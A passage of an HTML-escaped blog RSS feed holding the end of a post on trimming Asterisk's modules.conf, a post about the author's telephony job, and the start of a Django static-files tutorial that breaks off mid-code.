&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_dial.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_dictate.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_directed_pickup.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_directory.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_disa.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_dumpchan.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_echo.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_exec.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_externalivr.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_festival.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_flash.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_followme.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_forkcdr.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_getcpeid.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_ices.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_image.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_macro.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_meetme.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_milliwatt.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_minivm.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_mixmonitor.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_morsecode.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_mp3.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_nbscat.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_page.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_parkandannounce.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_playback.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_privacy.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_queue.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_read.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_readexten.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_readfile.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_record.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_saycountpl.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_sayunixtime.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_senddtmf.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_sendtext.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_setcallerid.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_sms.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_softhangup.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_speech_utils.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_stack.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_system.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_talkdetect.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_test.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_transfer.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_url.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_userevent.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_verbose.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_voicemail.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_waitforring.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_waitforsilence.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_while.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_zapateller.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; cdr_addon_mysql.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; chan_agent.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; chan_dahdi.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; chan_iax2.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; chan_local.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; chan_mgcp.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; chan_ooh323.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; chan_oss.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; chan_phone.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; chan_sip.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; codec_adpcm.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; codec_alaw.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; codec_dahdi.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; codec_g726.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; codec_gsm.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; codec_lpc10.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; codec_ulaw.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; format_g723.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; format_g726.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; format_g729.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; format_gsm.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; format_h263.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; format_h264.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; format_jpeg.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; format_mp3.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; format_pcm.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; format_sln.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; format_sln16.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; format_vox.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; format_wav.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; format_wav_gsm.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_audiohookinherit.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_base64.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_blacklist.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_callerid.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_cdr.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_channel.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_curl.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_cut.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_db.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_enum.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_env.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_extstate.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_global.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_groupcount.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_iconv.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_lock.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_logic.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_math.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_md5.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_module.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_rand.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_realtime.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_sha1.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_shell.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_strings.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_sysinfo.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_timeout.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_uri.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_version.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_vmcount.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; func_volume.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; pbx_config.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; pbx_loopback.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; pbx_spool.so&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now, go through the list of modules you have in your &lt;code>modules.conf&lt;/code>, and
uncomment the ones that you absolutely can&amp;rsquo;t live without.&lt;/p>
&lt;p>I realize that the above steps aren&amp;rsquo;t exactly super descriptive, so keep
reading. The next section will give you some additional pointers.&lt;/p>
&lt;h2 id="tips-for-slimming">Tips for Slimming&lt;/h2>
&lt;p>At some point during this article, you&amp;rsquo;ve probably thought to yourself, &lt;em>How do
I know which modules are absolutely essential to my setup?&lt;/em>.&lt;/p>
&lt;p>If you aren&amp;rsquo;t able to figure it out, there&amp;rsquo;s one foolproof way to figure it
out: trial-and-error.&lt;/p>
&lt;p>Don&amp;rsquo;t feel bad about doing trial-and-error here either, Asterisk can be
complex.&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Configure your &lt;code>logger.conf&lt;/code> to output with maximum verbosity to the full
logfile. Your &lt;code>logger.conf&lt;/code> file should have a line that looks like:
&lt;code>full =&amp;gt; notice,warning,error,debug,verbose&lt;/code>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Try to restart Asterisk: &lt;code>/etc/init.d/asterisk restart&lt;/code>. Then check your
full logfile: &lt;code>tail /var/log/asterisk/full&lt;/code>, and look for lines that
contain &lt;strong>WARNING&lt;/strong> or &lt;strong>ERROR&lt;/strong>. Asterisk provides great error messages.
So if you aren&amp;rsquo;t loading a necessary module, it will tell you.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Load the modules you were missing, and go back to step 1.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>You know you&amp;rsquo;re done when you&amp;rsquo;ve gone through every single module on your
system, and know exactly which ones you need to have enabled to make your
system run.&lt;/p>
&lt;h2 id="results">Results&lt;/h2>
&lt;p>Streamlining your Asterisk installs has great benefits. Not only will your
system run much faster, and more efficiently than before, but you&amp;rsquo;ll also know
a lot more about Asterisk, how it works, and how to modify its behavior.&lt;/p>
&lt;p>One of the great strengths of Asterisk is its module system, which is extremely
dynamic and provides a great interface for developers to add functionality.&lt;/p>
&lt;p>Got any questions? Feel free to &lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">shoot me an email&lt;/a>, I&amp;rsquo;d be happy to help.&lt;/p></description></item><item><title>What I Do At Work</title><link>https://rdegges.com/2010/what-i-do-at-work/</link><pubDate>Sun, 15 Aug 2010 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/what-i-do-at-work/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/what-i-do-at-work/desk-sketch.png" alt="Desk Sketch" title="Desk Sketch">
&lt;/p>
&lt;p>I realized yesterday, while finishing some website updates, that I haven&amp;rsquo;t
actually written a post about my new job, what I do, and how I do it.
Not that it is particularly amazing or anything like that, but I figured other
coders interested in startups, best-practices, telephony, python, or any
combination of those items may be interested.&lt;/p>
&lt;h2 id="where-i-work">Where I Work&lt;/h2>
&lt;p>Several months ago (in early February, 2010), I took a job offer to work at
&lt;em>RCG Communications, LLC&lt;/em>, which is a small (but highly profitable)
telecommunications company based in Georgia.&lt;/p>
&lt;p>Now, not to be confusing, but I technically work for several companies:
&lt;em>RCG Communications&lt;/em>, &lt;em>RCI Telecommunications&lt;/em>, &lt;em>GlobalRoute&lt;/em>, and several
others, which are all legally distinct for various encapsulation related
issues. Although, we&amp;rsquo;re currently forming a new company (whose name has not
yet been decided), that will become my primary employer, and will lease out
code and services to our other companies (this will make code ownership rights
far less confusing).&lt;/p>
&lt;h2 id="why-i-took-the-job">Why I Took the Job&lt;/h2>
&lt;p>At my previous job with &lt;a href="http://www.fonality.com/" title="Fonality">Fonality&lt;/a> (an awesome mid-size tech company), I
worked extensively with Asterisk, Linux, and all sorts of telephony stuff. It
was my job to help customers, and write custom telephony software to complement
our Fonality PBX systems for companies who needed more functionality than our
base system provided.&lt;/p>
&lt;p>Working at Fonality was really fun. I got to know some of the coolest tech
people in the industry, got all the free information I wanted, got to do
extensive research and testing for Asterisk platforms, and had the pleasure of
working on some really awesome product lines. All the while working on my own
open source code, libraries, projects, and friendships.&lt;/p>
&lt;p>Despite enjoying working for Fonality, I had an urge to try something new, and
get involved in a fast moving company that would really push the boundaries of
my technical knowledge, and force me to become a better developer.&lt;/p>
&lt;p>When I met &lt;a href="http://www.chrisbrunner.com/" title="Chris Brunner">RCG&amp;rsquo;s CEO&lt;/a>, and was given a job offer, I immediately knew that it
would be the opportunity I was looking for. RCG really needed a lead
programmer with my qualifications, and I really needed a new project with lots
of challenges and opportunity.&lt;/p>
&lt;h2 id="what-our-companies-do">What Our Companies Do&lt;/h2>
&lt;p>&lt;em>RCG Communications&lt;/em> and &lt;em>RCI Telecommunications&lt;/em> both offer the same service:
a free telephone-based conferencing service with a hosted web portal.&lt;/p>
&lt;p>&lt;em>GlobalRoute&lt;/em>, one of our newest companies, is a back end termination provider
for other VoIP and telephony companies. We offer domestic and international
termination (in bulk) for fractions of the cost of other large providers.&lt;/p>
&lt;h2 id="our-teleconferencing-platform">Our Teleconferencing Platform&lt;/h2>
&lt;p>Our teleconferencing platform is currently the main focus of my work. It is a
pretty large system, which has been written using the latest tech and best
practices available.&lt;/p>
&lt;p>Basically, we provide callers with their own dedicated phone numbers to use
(upon request), and set them up with a private web portal login to begin
managing and using our services.&lt;/p>
&lt;p>The conferencing platform we&amp;rsquo;ve engineered offers a lot of cool features:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Each conference line provides a wide array of statistics for line owners.
Things like caller usage statistics, detailed call traffic information, and
real time call statistics and usage.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Each conference line can have an (almost) infinite amount of sub-conference
rooms, which allows a single line to be used for millions of simultaneous
conference calls all happening separately from each other.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Line owners can customize the sounds, music, and other audio features that
are standard on conferencing systems (music on hold, etc.).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Line owners can perform various moderator actions on their conference
lines. This includes muting, unmuting, banning, unbanning, etc.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Lines can provide outbound toll-free calls from withing the conference
rooms, so that multiple callers can participate in outbound calls if
needed.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Private conference rooms that two callers can join exclusively for
mandatory private conversations.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Loads of other fun and stuff.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We have hundreds of users online at any given moment, and are madly trying to
solve our growing pains and scale efficiently.&lt;/p>
&lt;h2 id="current-status">Current Status&lt;/h2>
&lt;p>Since I started working on the project, we&amp;rsquo;ve made a lot of changes.&lt;/p>
&lt;p>The single largest project has been re-writing the web portal. We completely
scratched the old PHP (CGI) website we had, and replaced it with a dynamic,
high performance Django web portal that can scale across multiple servers and
databases very well.&lt;/p>
&lt;p>We also setup a very cool system that allows our Asterisk servers to directly
communicate with our Django site to get rid of redundant code, and allow us to
provide a database independent API for basically all of our various
interconnecting services.&lt;/p>
&lt;p>The next item on the TODO list is to modularize our Asterisk platform (more
details on this coming soon), and provide a truly awesome telephony core that
will be easy to maintain, bug fix, and provide features for.&lt;/p>
&lt;h2 id="life-is-good">Life is Good&lt;/h2>
&lt;p>I&amp;rsquo;ve really been enjoying these past few months. I&amp;rsquo;ve had a chance to build
some really awesome software, learn a lot of new techniques and best-practices,
and help architecture what I think will be some of the most elegant telephony
services in the world.&lt;/p>
&lt;p>I&amp;rsquo;m really excited to be working on all of our new advances and software,
especially now that we have a very cool core platform that will allow us to
re-define traditional telephony services, and let us build rock solid, high
performance telephony systems.&lt;/p></description></item><item><title>Serving Static Content With Django</title><link>https://rdegges.com/2010/serving-static-content-with-django/</link><pubDate>Sun, 04 Jul 2010 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/serving-static-content-with-django/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/serving-static-content-with-django/static-sketch.png" alt="Static Sketch" title="Static Sketch">
&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: I wrote this article a while back, and it&amp;rsquo;s content is dated. Django
now automatically serves static content by default, so if you&amp;rsquo;re having issues
getting static files working you should consult the &lt;a href="https://docs.djangoproject.com/en/dev/" title="Django Documentation">official documentation&lt;/a>.&lt;/p>
&lt;p>A question that is frequently asked by new Django programmers is: &amp;ldquo;How can I
serve static content (CSS, images, Javascript) with the Django&amp;rsquo;s development
server?&amp;rdquo;. This article is my attempt to answer that question by demonstrating
the best practices way to do so.&lt;/p>
&lt;h2 id="why-doesnt-django-serve-static-content-automatically">Why Doesn&amp;rsquo;t Django Serve Static Content Automatically?&lt;/h2>
&lt;p>Well, Django (and python in general) is built around the idea that it is better
to be explicit than implicit. This concept means that you may need to write
more code in order to do something, but that by doing it that way, you preserve
code clarity and reduce complexity.&lt;/p>
&lt;p>This means that Django doesn&amp;rsquo;t force us to put all of static content into a
single, specific folder or tree, we can set it up however we like. If we want
to serve all static content from a directory called &lt;code>dontlookhere&lt;/code>, we can
(although I wouldn&amp;rsquo;t recommend it). It also gives us flexibility as to &lt;em>where&lt;/em>
our static content resides: we can place it on a remote server, another user
account on our server, or in a directory completely outside of our project.&lt;/p>
&lt;p>This flexibility is what Django provides for us at the cost of not being able
to automatically detect / serve our static content-which is why you are reading
this article :)&lt;/p>
&lt;h2 id="where-should-i-put-my-static-content">Where Should I Put My Static Content?&lt;/h2>
&lt;p>In general, the convention I like to use is to put all static content in my
project directory underneath the &lt;code>static&lt;/code> folder. This means that all of my
new Django projects look something like:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="go">crapola/
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">|-- __init__.py
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">|-- manage.py
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">|-- settings.py
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">|-- static
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| |-- css
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| | \-- style.css
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| |-- img
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| | \-- banner.png
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| \-- js
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">| \-- menu.js
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">\-- urls.py
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Which allows me to have a good looking URL schema for my projects. This isn&amp;rsquo;t
a law (you can place it wherever you like), but this convention is followed by
a good amount of developers, and seems like a logical location for static
content.&lt;/p>
&lt;p>For the rest of this article, I&amp;rsquo;ll assume that your project is going to serve
all static content from the &lt;code>static&lt;/code> directory shown in the output above.&lt;/p>
&lt;h2 id="configure-your-settings">Configure Your Settings&lt;/h2>
&lt;p>The first thing we need to do is configure our &lt;code>settings.py&lt;/code> file, to let
Django know where our static content is located. To do that, open up your
favorite editor and add the following code:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">os&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SITE_ROOT&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">realpath&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">dirname&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="vm">__file__&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">MEDIA_ROOT&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">path&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">SITE_ROOT&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;static&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
